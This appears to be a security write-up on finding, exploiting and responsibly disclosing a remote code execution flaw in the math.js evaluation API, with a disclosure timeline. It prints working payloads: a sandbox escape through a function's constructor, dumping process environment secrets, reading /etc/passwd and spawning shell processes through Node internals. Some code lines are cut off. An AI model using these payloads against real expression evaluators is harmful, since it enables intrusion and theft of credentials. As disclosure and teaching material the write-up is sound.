How we exploited a remote code execution vulnerability in math.js

This article explains in short how we found, exploited and reported a remote code execution (RCE) vulnerability. It is meant to be a guide to finding vulnerabilities, as well as reporting them in a responsible manner.

Step one: discovery

While playing around with a wrapper of the math.js API (`http://api.mathjs.org/v1/?expr=expression-here`), we discovered that it **appears to evaluate JavaScript**, though with some restrictions:

```
> !calc cos
Result: function

> !calc eval
Result: function

> !calc eval("x => x")
Error: Value expected (char 3)
```

```
> !calc eval("console.log")
Error: Undefined symbol console

> !calc eval("return 1")
Result: 1
```

In particular, it seems that `eval` was replaced with a safe version. `Function` and `setTimeout`/`setInterval` didn't work, either:

```
> !calc Function("return 1")
Error: Undefined symbol Function

> !calc setTimeout
Error: Undefined symbol Function
```

Step two: exploitation

> Now that we figured out that there are some sort of restrictions around code evaluation, we had to escape them.

There are four standard ways to **evaluate strings in JavaScript**:

- `eval("code")`
- `new Function("code")`
- `setTimeout("code", timeout)`
- `setInterval("code", interval)`

In the math.js environment, these cannot be accessed directly, either because they aren't defined or because they have been redefined with safe functions. However, they can be accessed indirectly: notably, **`Function` can be accessed indirectly as the constructor of an existing function** - this was the key intuition that led to discovering the vulnerability.

> For example, `Function("return 1")` can be replaced with `Math.floor.constructor("return 1")`. Therefore, to evaluate `return 1`, we can use `Math.floor.constructor("return 1")()`.

We know that in the math.js environment `cos` is defined as a function, so we used that:

```
> !calc cos.constructor("return 1")()
Result: 1
```

Success!

From here we could have simply `require`-d some native modules and gained access to the OS, right? Not so fast: although the math.js API server runs in a Node.js environment, for whatever reason we couldn't use `require`.

```
> !calc cos.constructor("return require")()
Error: require is not defined
```

However, we could use `process`, which has a few nifty features:

```
> !calc cos.constructor("return process")()
Result: [object process]

> !calc cos.constructor("return process.env")()
Result: {
  "WEB_MEMORY": "512",
  "MEMORY_AVAILABLE": "512",
  "NEW_RELIC_LOG": "stdout",
  "NEW_RELIC_LICENSE_KEY": "<redacted>",
  "DYNO": "web.1",
  "PAPERTRAIL_API_TOKEN": "<redacted>",
  "PATH": "/app/.heroku/node/bin:/app/.heroku/yarn/bin:bin:node_modules/.bin:/us
  "WEB_CONCURRENCY": "1",
  "PWD": "/app",
  "NODE_ENV": "production",
  "PS1": "\[\033[01;34m\]\w\[\033[00m\] \[\033[01;32m\]$ \[\033[00m\]",
```

```
  "SHLVL": "1",
  "HOME": "/app",
  "PORT": "<redacted>",
  "NODE_HOME": "/app/.heroku/node",
  "_": "/app/.heroku/node/bin/node"
}
```

Though `process.env` contains some bits of juicy info, it can't really do anything interesting: we need to go deeper and use `process.binding`, which exposes Javascript bindings to the OS. Though they are not officially documented and are meant for internal usage, one can reconstruct their behaviour from reading through the Node.js source code. For example, we can use `process.binding("fs")` to read arbitrary files on the OS (with the appropriate permissions):

> For brevity, we'll skip the `!calc cos.constructor("code")` wrapper, and paste the relevant JS code instead.

```
> buffer = Buffer.allocUnsafe(8192); process.binding('fs').read(process.binding(
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
<more users...>
```

We're almost done: now we need to figure out a way to open a shell and run arbitrary commands. If you have experience with Node.js, you may know about `child_process`, which can be used to spawn processes with `spawnSync`: we just need to replicate this feature using OS bindings (remember that we can't use `require`).

This is easier than it seems: you can just take the source code for `child_process`, remove the code you don't need (unused functions and error handling), minify it, and run it through the API.

```
// Source: https://github.com/nodejs/node/blob/master/lib/child_process.js

// Defines spawn_sync and normalizeSpawnArguments (without error handling). These are internal variab
spawn_sync = process.binding('spawn_sync'); normalizeSpawnArguments = function(c,b,a){if(Array.isArra

// Defines spawnSync, the function that will do the actual spawning
spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a
```

spawnSync.js hosted with ❤ by **GitHub** **view raw**

From here, **we can spawn arbitrary processes** and run shell commands:

```
> return spawnSync('/usr/bin/whoami');
{
  "status": 0,
```

```
  "signal": null,
  "output": [null, u15104, ],
  "pid": 100,
  "stdout": u15104,
  "stderr":
}
```

Step three: reporting

Now that we found a vulnerability and exploited it to the largest extent possible, we had to decide what to do with it. Since we exploited it for fun and have no malicious intents, we took the "white hat" road and reported it to the maintainer. We **contacted him privately** through the e-mail address listed on his GitHub profile with the following details:

- a short description of the vulnerability (a remote code execution flaw in mathjs.eval);
- an **example attack** with explanation of how it works (a summary of why `cos.constructor("code")()` works and what can be achieved with `process.bindings`);
- an actual **demonstration** on the live server (we included the output of `whoami` and `uname -a`);
- suggestions on **how to fix it** (using the `vm` module in Node.js, for example).

Over a course of two days, we worked with the author to help fix the vulnerability. Notably, after he pushed a fix in `2f45600` we found a similar workaround (if you can't use the

constructor directly, use `cos.constructor.apply(null, "code")()`) which was fixed in 3c3517d.

Timeline

- 26 March 2017 22:20 CEST: first successful exploitation
- 29 March 2017 14:43 CEST: vulnerability reported to the author
- 31 March 2017 12:35 CEST: second vulnerability (`.apply`) reported
- 31 March 2017 13:52 CEST: both vulnerabilities are fixed

> This vulnerability was discovered by @CapacitorSet and @denysvitali. Thanks to @josdejong for promptly fixing the vulnerability and JSFuck for discovering the `[].filter.constructor` trick.
>
> A clarification from Jos: math.js does not "evaluate JavaScript" as previously thought, rather, it "has its own parser with its own math oriented syntax and its own operators and functions. But these functions are still JavaScript functions of course."
>
>